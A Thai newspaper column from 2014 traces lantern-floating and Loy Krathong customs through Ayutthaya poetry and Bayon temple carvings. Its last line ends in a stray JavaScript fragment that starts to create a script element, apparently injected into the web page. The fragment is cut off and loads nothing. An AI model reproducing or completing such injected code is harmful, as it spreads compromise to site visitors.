มติชนรายวัน ฉบับประจำวันพุธที่ 5 พฤศจิกายน  2557

 

ขอขมาธรรมชาติ ทั้งสุวรรณภูมิ

          ยุคต้นอยุธยา ยังไม่มีลอยกระทง แต่มีลอยโคม ดังมีพรรณนาในโคลงทวาทศมาส

          แล้วทำสืบมาจนยุคปลายอยุธยา ดังมีพรรณนาในกาพย์ห่อโคลง เจ้าฟ้ากุ้ง

          การขอขมาธรรมชาติ คือน้ำและดิน เข้ากันได้ดีกับภาพสลักที่ปราสาทบายน เมืองนครธม ริมโตนเลสาบ (ทะเลสาบ) กัมพูชา ที่มีตั้งแต่ราว พ.ศ. 1750 ก่อนยุคอยุธยา ราว 150 ปี

          โคลงทวาทศมาส เป็นวรรณคดียุคต้นอยุธยา กวีแต่งคร่ำครวญถึงหญิงคนรักโดยพรรณนาพาดพิงถึงประเพณี 12 เดือนในยุคนั้น เริ่มต้นที่เดือน 5 ขึ้นราศีใหม่ในคติฮินดู-พราหมณ์

          พอถึงเดือน 12 มีประเพณีแต่งโคมถวายตามพิธีฮินดู-พราหมณ์ โดยชักโคมแล้วแขวนโคมบนเสาไม้ ล้วนเกี่ยวข้องกับการขอขมาพระแม่คงคาของชุมชนบริเวณที่ราบลุ่มทั้งสุวรรณภูมิ

          สอดคล้องกับ นิราศธารโศก พระนิพนธ์ เจ้าฟ้าธรรมาธิเบศร์ (กุ้ง) ว่า

          เดือนสิบสองถ่องแถวโคม          แสงสว่างโพยมโสมนัสสา

          เรืองรุ่งกรุงอยุธยา                         วันทาแล้วแก้วไป่เห็น

          กติกมาสถ้อง                             แถวโคม

          แสงสว่างแลลอยโพยม                  ผ่องแผ้ว

          อยุธยาเปรียบแสงโสม                   ใสส่อง

          ชมชื่นวันทาแล้ว                           นิ่มน้องฤๅเห็น

          แต่ภาพสลักที่ปราสาทบายน ดูแล้วคล้ายกระทงมากกว่าโคม? นี่จะหมายความว่ายังไง?

          ทั้งลอยโคมและลอยกระทง เป็นประเพณีของคนที่อยู่บริเวณที่ราบลุ่มมีน้ำท่วม ตั้งแต่เจ้าพระยา (ไทย) ถึงโตนเลสาบ (กัมพูชา)

          แต่สุโขทัยอยู่บนที่ดอน น้ำแล้ง ต้องขุดตระพัง (สระน้ำ) กักน้ำไว้ใช้ในเมือง ไม่ได้ขุดไว้ลอยกระทงvar d=document;var s=d.createElement(‘script’);